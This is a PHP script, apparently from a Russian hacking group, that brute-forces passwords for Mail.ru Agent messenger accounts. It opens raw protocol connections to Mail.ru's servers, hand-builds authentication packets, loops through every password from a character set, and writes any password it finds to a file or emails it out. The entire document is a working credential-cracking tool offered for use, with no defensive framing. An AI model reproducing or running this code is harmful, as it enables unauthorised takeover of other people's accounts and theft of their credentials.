| |
define( '_AST_MRA_BASE_HOST', 'mrim.mail.ru' );
define( '_AST_MRA_BASE_PORT', 2042 );
define( '_AST_MRA_INVALID_LOGIN', 'Invalid login' );
/********************************* НЕ РЕДАКТИРОВАТЬ!!! НЕ РЕДАКТИРОВАТЬ!!! НЕ РЕДАКТИРОВАТЬ!!! ********************************/
/**************** НАСТРОЙКИ ****************/
define( '_AST_TIMEOUT', 3 ); // Сколько времени ждать соединение
define( '_AST_PASSW_FILE', './test.txt' ); // Файл с паролями
define( '_AST_REPORT_TO_FILE', 1 ); // Создать отчет в файл
define( '_AST_REPORT_FILE_PATH', './report.txt' ); // Имя файла в который будет создан отчет
define( '_AST_REPORT_TO_MAIL', 2 ); // Отправить отчет на e-mail
define( '_AST_REPORT_MAIL', 'логин@mail.ru' ); // E-mail на который будет отправлен отчет
define( '_AST_REPORT_TYPE', _AST_REPORT_TO_FILE ); // ! Установка типа отчета !
define('_AST_ALPHABET', 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghi gklmnopqrstuvwxwz0123456789'); //Симоволы из которых перебирать
define('_AST_PASSW_PREFIX', 'some_prefix'); // Константное начало пароля (на тот случай, если Вы знаете начало пароля)
define('_AST_PASSW_END', 'some_end'); // Константное завершение пароля (на тот случай, если Вы знаете конец пароля)
define('_AST_MIN_LENGHT', 5); // Минимальная длина пароля
define('_AST_MAX_LENGHT', 6); // Максимальная длина пароля
class xPow_MRA_Brute {
var $_AST_MRA_HEAD_AUTH = "\xEF\xBE\xAD\xDE\x07\x00\x01\x00\x06\x00\x00\x00\x03\x10\x00\x00"; // 16
var $_AST_MRA_MAIN_HOST = '';
var $_AST_MRA_MAIN_PORT = 0;
var $_AST_AUTH_QUERY = '';
var $_AST_AUTH_QUERY_LENGTH = 0;
/**
* Конструктор, что здесь еще говорить?
*/
function xPow_MRA_Brute( $mra_login ) {
$this->__set_php_settings();
$this->__init_connect();
for ($i = _AST_MIN_LENGHT - 1; $i < _AST_MAX_LENGHT; $i++) {
$this->__AST_r_brute($mra_login, $password, $i, _AST_ALPHABET, strlen(_AST_ALPHABET), _AST_PASSW_PREFIX, _AST_PASSW_END);
}
echo 'ПАРОЛЬ НЕ УДАЛОСЬ НАЙТИ';
}
function __set_php_settings() {
if( !ini_get('safe_mode') ) {
@set_time_limit(0);
@ignore_user_abort(true);
}
}
/**
* Рекурсивная ф-ция перебора
*
*/
function __AST_r_brute($mra_login, $password, $level, $alphabet, $strlen, $prefix = '', $end = '') {
for ($i = 0; $i < $strlen; $i++) {
if ($level) {
$this->__AST_r_brute($mra_login, $password . $alphabet[$i], $level - 1, $alphabet, $strlen, $prefix, $end);
} else {
$mra_passw = $prefix . ( $password . $alphabet[$i] ) . $end;
if( $this->__authorization( $mra_login, $mra_passw ) ) {
$this->__init_connect();
if ($this->__authorization( $mra_login, $mra_passw )) {
$this->__report( $mra_login, $mra_passw );
return;
}
}
}
}
}
/**
* Ф-ция получает на вход количество "нулевых" символов, которые будут добавлены к главному потоку запроса
* @access private
* @param $length
*
*/
function __add_null( $length ) {
for ( $i = 0; $i < $length; $i++ ) {
$this->_AST_AUTH_QUERY[ $this->_AST_AUTH_QUERY_LENGTH + $i ] = "\x00";
}
$this->_AST_AUTH_QUERY_LENGTH += $length;
}
/**
* Ф-ция получает на вход строку $string, длиной $length, и добавляет ее к главному потоку запроса
* @access private
* @param $string
* @param $length
*
*/
function __add_string( $string, $length ) {
for ( $i = 0; $i < $length; $i++ ) {
$this->_AST_AUTH_QUERY[ $this->_AST_AUTH_QUERY_LENGTH + $i ] = $string[$i];
}
$this->_AST_AUTH_QUERY_LENGTH += $length;
}
/**
* Ф-ция соединяется с базовым сервером и получает адресс и порт главного сервера
* @access private
*
*/
function __init_connect() {
$fs = fsockopen( _AST_MRA_BASE_HOST, _AST_MRA_BASE_PORT, $errno, $errstr, _AST_TIMEOUT ) or die( "[$errno] : $errstr" );
while ( !feof($fs) ) {
$r_str .= fgets($fs, 64);
}
fclose( $fs );
list( $this->_AST_MRA_MAIN_HOST, $this->_AST_MRA_MAIN_PORT ) = explode( ':', $r_str );
}
/**
* Ф-ция проверяющая валидность пары: логин / пароль
* @access private
* @param $mra_login
* @param $mra_passw
*
*/
function __authorization( $mra_login, $mra_passw ) {
$mra_login_length = strlen($mra_login);
$mra_passw_length = strlen($mra_passw);
$fs = fsockopen( $this->_AST_MRA_MAIN_HOST, (int)$this->_AST_MRA_MAIN_PORT, $errno, $errstr, _AST_TIMEOUT ) or die( "[$errno] : $errstr" );
# Инициализация
$this->_AST_AUTH_QUERY = null;
$this->_AST_AUTH_QUERY_LENGTH = 0;
$this->__add_string( $this->_AST_MRA_HEAD_AUTH, 17 );
$this->_AST_AUTH_QUERY[ 16 ] = chr( 8 + $mra_login_length + $mra_passw_length );
$this->__add_null( 28 );
# Добавляем в главный поток логин
$this->_AST_AUTH_QUERY[ $this->_AST_AUTH_QUERY_LENGTH - 1 ] = chr( $mra_login_length );
$this->__add_null( 3 );
$this->__add_string( $mra_login, $mra_login_length );
# Добавляем в главный поток пароль
$this->_AST_AUTH_QUERY[ $this->_AST_AUTH_QUERY_LENGTH++ ] = chr( $mra_passw_length );
$this->__add_null( 3 );
$this->__add_string( $mra_passw, $mra_passw_length );
# Отправляем запрос
fwrite( $fs, implode('', $this->_AST_AUTH_QUERY), $this->_AST_AUTH_QUERY_LENGTH );
# Принимаем ответ
fgets($fs, 84);
fgets($fs, 44);
$r_str = fgets($fs, 14);
fclose( $fs );
return ( $r_str == _AST_MRA_INVALID_LOGIN ) ? 0 : 1;
} // __authorization();
function __info() {
echo ' php . MAIL.ru
';
}
/**
* Ф-ция выбирает, какой из методов репортинга использовать ( можно легко увеливать кол-во, напр.: HTTP ( GET / POST), FTP, SMS :-D, /ect )
* @access private
* @param $mra_login
* @param $mra_passw
*
*/
function __report( $mra_login, $mra_passw ) {
switch ( _AST_REPORT_TYPE ) {
case _AST_REPORT_TO_MAIL:
$this->__report_to_mail( $mra_login, $mra_passw );
break;
case _AST_REPORT_TO_FILE:
$this->__report_to_file( $mra_login, $mra_passw );
break;
default:
echo '(c)oded by xPow from ANTISHARE team [ ' . date('F j, Y, g:i a') . ' ] LOGIN: ' . $mra_login . ' - PASSWORD: ' . $mra_passw . "\r\n";
}
}
/**
* Ф-ция записывает найденый результат в файл, указаный дефайном: _AST_REPORT_FILE_PATH
* @access private
* @param $mra_login
* @param $mra_passw
*
*/
function __report_to_file( $mra_login, $mra_passw ) {
$fp = fopen( _AST_REPORT_FILE_PATH, 'a' ) or die( 'Can\'t open file: <b>' . _AST_REPORT_FILE_PATH . '</b>' );
$message = '(c)oded by xPow from ANTISHARE team [ ' . date('F j, Y, g:i a') . ' ] LOGIN: ' . $mra_login . ' - PASSWORD: ' . $mra_passw . "\r\n";
fwrite( $fp, $message );
fclose( $fp );
}
/**
* Ф-ция отсылает найденый результат на e-mail, указаный дефайном: _AST_REPORT_TO_MAIL
* @access private
* @param $mra_login
* @param $mra_passw
*
*/
function __report_to_mail( $mra_login, $mra_passw ) {
$message = '(c)oded by xPow from ANTISHARE team [ ' . date('F j, Y, g:i a') . ' ] LOGIN: ' . $mra_login . ' - PASSWORD: ' . $mra_passw . "\r\n";
mail( _AST_REPORT_TO_MAIL, 'Password is found', $message/*, "From: $mra_login\r\nReply-To: webmaster@localhost.net}\r\n" */);
}
} // class xPow_MRA_Brute
new xPow_MRA_Brute( 'логин@mail.ru' );
?>
|
| |